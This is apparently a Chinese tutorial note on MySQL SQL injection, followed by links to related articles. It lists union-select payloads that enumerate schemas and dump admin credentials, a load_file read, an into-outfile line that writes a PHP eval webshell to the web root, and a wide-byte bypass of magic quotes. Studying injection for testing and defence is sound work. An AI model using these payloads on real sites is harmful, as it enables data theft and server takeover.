MYSQL注入中首先要明确当前注入点权限,高权限注入时有更多的攻击手法,有的能直接进行getshell操作,其中也会遇到很多的阻碍,相关防御手法也要明确,所谓知己知彼,百战不殆。作为安全开发工作者,攻防兼备。

注入点权限是否为root,取决于连接数据库的文件。这也决定了高权限注入及低权限注入


跨库查询及应用思路

information_schema 表特性,记录库名,表名,列名对应表

获取所有数据库名
?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata 查表,找与网站对应的数据库名,若没有,则挨个查。或者使用 union select 1,2,database()
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'qqyw' 跨库查列,,,
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'admin' and table_schema='qqyw' 查结果。。。
?id=-1 union select 1,u,p from qqyw.admin

文件读写操作

  load_file():读取文件函数
into outfile或者into dumpfile:导出函数 路径获取常见方法:
报错显示 (phpinfo.php) ,遗留文件 ,漏洞报错,平台配置文件 常见读取文件列表:(需得知网站绝对路径)
union select 1,load_file('D:\\phpmyadmin\\dudu.txt'),3 常见写入文件问题:魔术引号开关
union select 1,'<?php $eval($_POST['dudu']);?>',3 into outfile 'D:\\www\\dudu.php'

魔术引号及常见保护

php.ini中存在magic_quotes_gpc选项,称为魔术引号,此选项打开,使用GET,POST,cookie所接收的'单引号,"双引号,\反斜线和NULL字符全部被加上一个反斜线转义。此时,注入类型是字符型注入已经无法构成威胁。
编码或者宽字节进行绕过 isset无法绕过 替换关键字 在数据库使用了宽字符集而WEB中没考虑这个问题的情况下,在WEB层,由于0XBF27是两个字符,在PHP中比如addslash和magic_quotes_gpc开启时,由于会对0x27单引号进行转义,因此0xbf27会变成0xbf5c27,而数据进入数据库中时,由于0XBF5C是一个另外的字符,因此\转义符号会被前面的bf带着"吃掉",单引号由此逃逸出来可以用来闭合语句。 自定义关键字替换 WAF对常见攻击语句进行报错,绕过思路

低版本注入配合读取或者暴力

5.0版本以下,跑字典。。

  字典或读取

十三:SQL注入之MYSQL注入的更多相关文章

  1. 【mysql注入】mysql注入点的技巧整合利用

    [mysql注入]mysql注入点的技巧整合利用 本文转自:i春秋社区 前言: 渗透测试所遇的情况瞬息万变,以不变应万变无谓是经验与技巧的整合 简介: 如下 mysql注入点如果权限较高的话,再知道w ...

  2. 对MYSQL注入相关内容及部分Trick的归类小结

    前言 最近在给学校的社团成员进行web安全方面的培训,由于在mysql注入这一块知识点挺杂的,入门容易,精通较难,网上相对比较全的资料也比较少,大多都是一个比较散的知识点,所以我打算将我在学习过程中遇 ...

  3. sql注入之简要注入

    #mysql简要注入流程 mysql注入简要流程如下图: 由于还没学习完先结合sqlilabs的第一关讲解信息收集的一部分和数据注入的information_schema的有据查询. #sqli-la ...

  4. sql注入笔记-mysql

    整理下sql相关知识,查漏补缺(长期更新) 1 常用语句及知识 information_schema包含了大量有用的信息,例如下图 mysql.user下有所有的用户信息,其中authenticati ...

  5. SQL注入之DVWA平台测试mysql注入

    今天主要针对mysql常用注入语句进行测试. 测试环境与工具: 测试平台:DVWA,下载地址:http://down.51cto.com/data/875088,也可下载metaspolit-tabl ...

  6. sql注入原理+mysql相关知识点

    什么是SQL注入 sql就是经常说的数据库,而sql注入就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.SQL注入是比较常见的网络攻击 ...

  7. SQL注入之MySQL常用的查询语句

    MySQL是一种使用很广的数据库,大部分网站都是用MySQL,所以熟悉对MySQL数据库的注入很重要. 首先来说下MySQL注入的相关知识点 在MySQL5.0版本之后,MySQL默认在数据库存放一个 ...

  8. SQL注入之MySQL报错注入整理

    看大佬们的文章看得我虎躯一震,精神抖擞,于是心血来潮,整理一下MySQL报错注入常见的手段和方法,再举几个例子 <代码审计:企业级Web代码安全架构>一书中介绍过报错注入十大方法,依次是: ...

  9. 【sql注入教程】mysql注入直接getshell

    Mysql注入直接getshell的条件相对来说比较苛刻点把 1:要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道 2:gpc没有开启,开启了单引号被转义了,语句就不能正 ...

随机推荐

  1. Zabbix自定义模板监控多个url接口

    一.脚本配置 1.监控脚本 /etc/zabbix/zabbix_agent2.d/scripts/web_site_code_status.sh #!/bin/bash url_discovery( ...

  2. uniapp-vuex实现tabbar提示点

    底部入口栏的红点提示是app中常见的功能,或者说是必要功能,通常用来提醒用户去查看或操作某个模块内容. 看项目性质如果需要比较多并且灵活的提示,则需要用到长连接技术. 1.红点提示是根据接口返回的数据 ...

  3. PHP判断字符串所属编码:ASCII、GB2312、GBK、UTF-8、ISO-8859-1

    ASCII: ASCII的编码范围为0-127(十六进制:0x00-0x7F),判断函数: function isasciistr($str){ for($i=0;$i<strlen($str) ...

  4. 20201203-5 批量发送 email【】

    1-1 批量发送 email 1 from openpyxl import load_workbook 2 import smtplib 3 from email.mime.text import M ...

  5. html 04-HTML标签图文详解(一)

    04-HTML标签图文详解(一) #一.排版标签 #注释标签 <!-- 注释 -->   #段落标签<p> <p>This is a paragraph</p ...

  6. Python3和高性能全文检索引擎Redisearch进行交互

    安装 pip install redisearch 使用 from redisearch import Client, TextField # 创建一个客户端与给定索引名称 client = Clie ...

  7. Arduino PROGMEM 从程序空间读取float值的方法

    方法: 使用avr-libc提供的宏定义: #define pgm_read_float_near(address_short) __LPM_float((uint16_t)(address_shor ...

  8. .Net Core的简单单元测试基于Mock和自定义

    首先创建 使用mock 外部依赖一般用Mock 模拟 下载包 例如 3.1:首先先要使用MOCk来模拟测试方法需要的参数,这一步为 Arrange; 简单的模拟 var mock = new Mock ...

  9. 使用shell发送邮件,方便快捷

    目录 前言 鉴赏代码 总结 前言 很多时候我们需要发送邮件,比如定时任务,比如邮件验证码等等. 各大编程语言都可以实现发送邮件功能,但还是太麻烦了,所以通过tcpdump抓包发现smtp发送邮件原理还 ...

  10. Git提交错了不用慌,这三招帮你修改记录

    大家好,今天我们来聊聊git当中一个很重要的功能--历史记录的修改. 有的时候我们会突然发现某个地方需要修改,最常见的某个不应该被提交的文件被提交了进来.我们希望它不只是在后序的版本当中不再出现,而是 ...